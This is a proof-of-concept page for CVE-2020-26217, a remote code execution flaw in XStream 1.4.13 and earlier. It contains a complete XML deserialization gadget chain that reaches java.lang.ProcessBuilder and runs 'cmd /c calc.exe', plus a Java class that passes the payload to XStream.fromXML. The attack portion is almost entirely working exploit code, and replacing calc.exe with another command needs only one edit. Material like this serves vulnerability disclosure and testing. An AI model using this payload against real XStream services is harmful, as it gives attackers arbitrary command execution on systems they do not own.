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CVE-2020-26217 PoC — Remote Code Execution in XStream

Source
Associated Vulnerability
Title:Remote Code Execution in XStream (CVE-2020-26217)
Description:XStream before version 1.4.14 is vulnerable to Remote Code Execution.The vulnerability may allow a remote attacker to run arbitrary shell commands only by manipulating the processed input stream. Only users who rely on blocklists are affected. Anyone using XStream's Security Framework allowlist is not affected. The linked advisory provides code workarounds for users who cannot upgrade. The issue is fixed in version 1.4.14.
Description
CVE-2020-26217 && XStream RCE
Readme
## Description

XStream can be used for Remote Code Execution

## Influence

Xstream <= 1.4.13

## Environment

pom.xml

```
    <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
    <dependencies>
        <dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.13</version>
        </dependency>
    </dependencies>
```

## How to  use

```xml
<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>cmd</string>
                          <string>/c</string>
                          <string>calc.exe</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>
```

CVE_2020_26217.java

```java
import com.thoughtworks.xstream.XStream;

public class CVE_2020_26217 {
    public static void main(String[] args) {
        String xml_poc = "<map>\n" +
                "  <entry>\n" +
                "    <jdk.nashorn.internal.objects.NativeString>\n" +
                "      <flags>0</flags>\n" +
                "      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
                "        <dataHandler>\n" +
                "          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
                "            <contentType>text/plain</contentType>\n" +
                "            <is class='java.io.SequenceInputStream'>\n" +
                "              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>\n" +
                "                <iterator class='javax.imageio.spi.FilterIterator'>\n" +
                "                  <iter class='java.util.ArrayList$Itr'>\n" +
                "                    <cursor>0</cursor>\n" +
                "                    <lastRet>-1</lastRet>\n" +
                "                    <expectedModCount>1</expectedModCount>\n" +
                "                    <outer-class>\n" +
                "                      <java.lang.ProcessBuilder>\n" +
                "                        <command>\n" +
                "                          <string>cmd</string>\n" +
                "                          <string>/c</string>\n" +
                "                          <string>calc.exe</string>\n" +
                "                        </command>\n" +
                "                      </java.lang.ProcessBuilder>\n" +
                "                    </outer-class>\n" +
                "                  </iter>\n" +
                "                  <filter class='javax.imageio.ImageIO$ContainsFilter'>\n" +
                "                    <method>\n" +
                "                      <class>java.lang.ProcessBuilder</class>\n" +
                "                      <name>start</name>\n" +
                "                      <parameter-types/>\n" +
                "                    </method>\n" +
                "                    <name>start</name>\n" +
                "                  </filter>\n" +
                "                  <next/>\n" +
                "                </iterator>\n" +
                "                <type>KEYS</type>\n" +
                "              </e>\n" +
                "              <in class='java.io.ByteArrayInputStream'>\n" +
                "                <buf></buf>\n" +
                "                <pos>0</pos>\n" +
                "                <mark>0</mark>\n" +
                "                <count>0</count>\n" +
                "              </in>\n" +
                "            </is>\n" +
                "            <consumed>false</consumed>\n" +
                "          </dataSource>\n" +
                "          <transferFlavors/>\n" +
                "        </dataHandler>\n" +
                "        <dataLen>0</dataLen>\n" +
                "      </value>\n" +
                "    </jdk.nashorn.internal.objects.NativeString>\n" +
                "    <string>test</string>\n" +
                "  </entry>\n" +
                "</map>";
        XStream xstream = new XStream();
        xstream.fromXML(xml_poc);
    }

}
```

Result:

![result](img/result.jpg)

## Reference

https://x-stream.github.io/CVE-2020-26217.html

https://github.com/jas502n/CVE-2020-26259
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